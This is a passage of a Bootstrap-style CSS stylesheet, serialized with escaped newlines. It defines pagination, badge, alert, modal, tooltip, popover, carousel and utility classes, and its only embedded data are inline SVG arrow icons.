border-top-left-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n  border-top-right-radius: 0.25rem;\n  border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n  z-index: 1;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n  color: #6c757d;\n  pointer-events: none;\n  cursor: auto;\n  background-color: #fff;\n  border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n  border-top-left-radius: 0.3rem;\n  border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n  border-top-right-radius: 0.3rem;\n  border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n  border-top-left-radius: 0.2rem;\n  border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n  border-top-right-radius: 0.2rem;\n  border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n  display: inline-block;\n  padding: 0.25em 0.4em;\n  font-size: 75%;\n  font-weight: 700;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: 0.25rem;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n.badge-pill {\n  padding-right: 0.6em;\n  padding-left: 0.6em;\n  border-radius: 10rem;\n}\n\n.badge-primary {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #0062cc;\n}\n\n.badge-secondary {\n  color: #fff;\n  background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #545b62;\n}\n\n.badge-success {\n  color: #fff;\n  background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1e7e34;\n}\n\n.badge-info {\n  color: #fff;\n  background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #117a8b;\n}\n\n.badge-warning {\n  color: #212529;\n  background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #d39e00;\n}\n\n.badge-danger {\n  color: #fff;\n  background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #bd2130;\n}\n\n.badge-light {\n  color: #212529;\n  background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #dae0e5;\n}\n\n.badge-dark {\n  color: #fff;\n  background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1d2124;\n}\n\n.jumbotron {\n  padding: 2rem 1rem;\n  margin-bottom: 2rem;\n  background-color: #e9ecef;\n  border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n  .jumbotron {\n    padding: 4rem 2rem;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  border-radius: 0;\n}\n\n.alert {\n  position: relative;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 1rem;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert-link {\n  font-weight: 700;\n}\n\n.alert-dismissible {\n  padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n  position: absolute;\n  top: 0;\n  right: 0;\n  padding: 0.75rem 1.25rem;\n  color: inherit;\n}\n\n.alert-primary {\n  color: #004085;\n  background-color: #cce5ff;\n  border-color: #b8daff;\n}\n\n.alert-primary hr {\n  border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n  color: #002752;\n}\n\n.alert-secondary {\n  color: #383d41;\n  background-color: #e2e3e5;\n  border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n  border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n  color: #202326;\n}\n\n.alert-success {\n  color: #155724;\n  background-color: #d4edda;\n  border-color: #c3e6cb;\n}\n\n.alert-success hr {\n  border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n  color: #0b2e13;\n}\n\n.alert-info {\n  color: #0c5460;\n  background-color: #d1ecf1;\n  border-color: #bee5eb;\n}\n\n.alert-info hr {\n  border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n  color: #062c33;\n}\n\n.alert-warning {\n  color: #856404;\n  background-color: #fff3cd;\n  border-color: #ffeeba;\n}\n\n.alert-warning hr {\n  border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n  color: #533f03;\n}\n\n.alert-danger {\n  color: #721c24;\n  background-color: #f8d7da;\n  border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n  border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n  color: #491217;\n}\n\n.alert-light {\n  color: #818182;\n  background-color: #fefefe;\n  border-color: #fdfdfe;\n}\n\n.alert-light hr {\n  border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n  color: #686868;\n}\n\n.alert-dark {\n  color: #1b1e21;\n  background-color: #d6d8d9;\n  border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n  border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n  color: #040505;\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  display: flex;\n  height: 1rem;\n  overflow: hidden;\n  font-size: 0.75rem;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.progress-bar {\n  display: flex;\n  flex-direction: column;\n  justify-content: center;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #007bff;\n  transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .progress-bar {\n    transition: none;\n  }\n}\n\n.progress-bar-striped {\n  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n  animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n  display: flex;\n  align-items: flex-start;\n}\n\n.media-body {\n  flex: 1;\n}\n\n.list-group {\n  display: flex;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n}\n\n.list-group-item-action {\n  width: 100%;\n  color: #495057;\n  text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n  color: #495057;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n  color: #212529;\n  background-color: #e9ecef;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n  z-index: 1;\n  text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n  color: #6c757d;\n  background-color: #fff;\n}\n\n.list-group-item.active {\n  z-index: 2;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n  border-right: 0;\n  border-left: 0;\n  border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n  border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.list-group-item-primary {\n  color: #004085;\n  background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n  color: #004085;\n  background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n  color: #fff;\n  background-color: #004085;\n  border-color: #004085;\n}\n\n.list-group-item-secondary {\n  color: #383d41;\n  background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n  color: #383d41;\n  background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n  color: #fff;\n  background-color: #383d41;\n  border-color: #383d41;\n}\n\n.list-group-item-success {\n  color: #155724;\n  background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n  color: #155724;\n  background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n  color: #fff;\n  background-color: #155724;\n  border-color: #155724;\n}\n\n.list-group-item-info {\n  color: #0c5460;\n  background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n  color: #0c5460;\n  background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n  color: #fff;\n  background-color: #0c5460;\n  border-color: #0c5460;\n}\n\n.list-group-item-warning {\n  color: #856404;\n  background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n  color: #856404;\n  background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n  color: #fff;\n  background-color: #856404;\n  border-color: #856404;\n}\n\n.list-group-item-danger {\n  color: #721c24;\n  background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n  color: #721c24;\n  background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n  color: #fff;\n  background-color: #721c24;\n  border-color: #721c24;\n}\n\n.list-group-item-light {\n  color: #818182;\n  background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n  color: #818182;\n  background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n  color: #fff;\n  background-color: #818182;\n  border-color: #818182;\n}\n\n.list-group-item-dark {\n  color: #1b1e21;\n  background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n  color: #1b1e21;\n  background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n  color: #fff;\n  background-color: #1b1e21;\n  border-color: #1b1e21;\n}\n\n.close {\n  float: right;\n  font-size: 1.5rem;\n  font-weight: 700;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  opacity: .5;\n}\n\n.close:hover, .close:focus {\n  color: #000;\n  text-decoration: none;\n  opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\nbutton.close {\n  padding: 0;\n  background-color: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  outline: 0;\n}\n\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 0.5rem;\n  pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n  transition: transform 0.3s ease-out;\n  transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .modal.fade .modal-dialog {\n    transition: none;\n  }\n}\n\n.modal.show .modal-dialog {\n  transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n  display: flex;\n  align-items: center;\n  min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n  position: relative;\n  display: flex;\n  flex-direction: column;\n  width: 100%;\n  pointer-events: auto;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n  outline: 0;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop.show {\n  opacity: 0.5;\n}\n\n.modal-header {\n  display: flex;\n  align-items: flex-start;\n  justify-content: space-between;\n  padding: 1rem;\n  border-bottom: 1px solid #e9ecef;\n  border-top-left-radius: 0.3rem;\n  border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n  padding: 1rem;\n  margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n  margin-bottom: 0;\n  line-height: 1.5;\n}\n\n.modal-body {\n  position: relative;\n  flex: 1 1 auto;\n  padding: 1rem;\n}\n\n.modal-footer {\n  display: flex;\n  align-items: center;\n  justify-content: flex-end;\n  padding: 1rem;\n  border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n  margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n  margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n\n@media (min-width: 576px) {\n  .modal-dialog {\n    max-width: 500px;\n    margin: 1.75rem auto;\n  }\n  .modal-dialog-centered {\n    min-height: calc(100% - (1.75rem * 2));\n  }\n  .modal-sm {\n    max-width: 300px;\n  }\n}\n\n@media (min-width: 992px) {\n  .modal-lg {\n    max-width: 800px;\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  opacity: 0;\n}\n\n.tooltip.show {\n  opacity: 0.9;\n}\n\n.tooltip .arrow {\n  position: absolute;\n  display: block;\n  width: 0.8rem;\n  height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n  position: absolute;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n  bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n  top: 0;\n  border-width: 0.4rem 0.4rem 0;\n  border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n  left: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n  right: 0;\n  border-width: 0.4rem 0.4rem 0.4rem 0;\n  border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n  padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n  top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n  bottom: 0;\n  border-width: 0 0.4rem 0.4rem;\n  border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n  padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n  right: 0;\n  width: 0.4rem;\n  height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n  left: 0;\n  border-width: 0.4rem 0 0.4rem 0.4rem;\n  border-left-color: #000;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 0.25rem 0.5rem;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 0.25rem;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: block;\n  max-width: 276px;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-style: normal;\n  font-weight: 400;\n  line-height: 1.5;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  white-space: normal;\n  line-break: auto;\n  font-size: 0.875rem;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 0.3rem;\n}\n\n.popover .arrow {\n  position: absolute;\n  display: block;\n  width: 1rem;\n  height: 0.5rem;\n  margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n  position: absolute;\n  display: block;\n  content: \"\";\n  border-color: transparent;\n  border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n  margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n  bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n  bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n  bottom: 1px;\n  border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n  margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n  left: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n  left: 0;\n  border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n  left: 1px;\n  border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n  margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n  top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n  top: 0;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n  top: 1px;\n  border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n  position: absolute;\n  top: 0;\n  left: 50%;\n  display: block;\n  width: 1rem;\n  margin-left: -0.5rem;\n  content: \"\";\n  border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n  margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n  right: calc((0.5rem + 1px) * -1);\n  width: 0.5rem;\n  height: 1rem;\n  margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n  right: 0;\n  border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n  right: 1px;\n  border-left-color: #fff;\n}\n\n.popover-header {\n  padding: 0.5rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  color: inherit;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-top-left-radius: calc(0.3rem - 1px);\n  border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n  display: none;\n}\n\n.popover-body {\n  padding: 0.5rem 0.75rem;\n  color: #212529;\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-item {\n  position: relative;\n  display: none;\n  align-items: center;\n  width: 100%;\n  transition: transform 0.6s ease;\n  backface-visibility: hidden;\n  perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .carousel-item {\n    transition: none;\n  }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n  display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n  position: absolute;\n  top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n  transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-next.carousel-item-left,\n  .carousel-item-prev.carousel-item-right {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n  transform: translateX(100%);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-next,\n  .active.carousel-item-right {\n    transform: translate3d(100%, 0, 0);\n  }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n  transform: translateX(-100%);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-item-prev,\n  .active.carousel-item-left {\n    transform: translate3d(-100%, 0, 0);\n  }\n}\n\n.carousel-fade .carousel-item {\n  opacity: 0;\n  transition-duration: .6s;\n  transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n  opacity: 1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n  opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n  transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n  .carousel-fade .carousel-item-next,\n  .carousel-fade .carousel-item-prev,\n  .carousel-fade .carousel-item.active,\n  .carousel-fade .active.carousel-item-left,\n  .carousel-fade .active.carousel-item-prev {\n    transform: translate3d(0, 0, 0);\n  }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  width: 15%;\n  color: #fff;\n  text-align: center;\n  opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n  color: #fff;\n  text-decoration: none;\n  outline: 0;\n  opacity: .9;\n}\n\n.carousel-control-prev {\n  left: 0;\n}\n\n.carousel-control-next {\n  right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n  display: inline-block;\n  width: 20px;\n  height: 20px;\n  background: transparent no-repeat center center;\n  background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: flex;\n  justify-content: center;\n  padding-left: 0;\n  margin-right: 15%;\n  margin-left: 15%;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  position: relative;\n  flex: 0 1 auto;\n  width: 30px;\n  height: 3px;\n  margin-right: 3px;\n  margin-left: 3px;\n  text-indent: -999px;\n  background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n  position: absolute;\n  top: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators li::after {\n  position: absolute;\n  bottom: -10px;\n  left: 0;\n  display: inline-block;\n  width: 100%;\n  height: 10px;\n  content: \"\";\n}\n\n.carousel-indicators .active {\n  background-color: #fff;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n}\n\n.align-baseline {\n  vertical-align: baseline !important;\n}\n\n.align-top {\n  vertical-align: top !important;\n}\n\n.align-middle {\n  vertical-align: middle !important;\n}\n\n.align-bottom {\n  vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n  vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n  vertical-align: text-top !important;\n}\n\n.bg-primary {\n  background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n  background-color: #0062cc !important;\n}\n\n.bg-secondary {\n  background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n  background-color: #545b62 !important;\n}\n\n.bg-success {\n  background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n  background-color: #1e7e34 !important;\n}\n\n.bg-info {\n  background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n  background-color: #117a8b !important;\n}\n\n.bg-warning {\n  background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n  background-color: #d39e00 !important;\n}\n\n.bg-danger {\n  background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n  background-color: #bd2130 !important;\n}\n\n.bg-light {\n  background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n  background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n  background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n  background-color: #1d2124 !important;\n}\n\n.bg-white {\n  background-color: #fff !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n\n.border {\n  border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n  border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n  border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n  border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n  border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n  border: 0 !important;\n}\n\n.border-top-0 {\n  border-top: 0 !important;\n}\n\n.border-right-0 {\n  border-right: 0 !important;\n}\n\n.border-bottom-0 {\n  border-bottom: 0 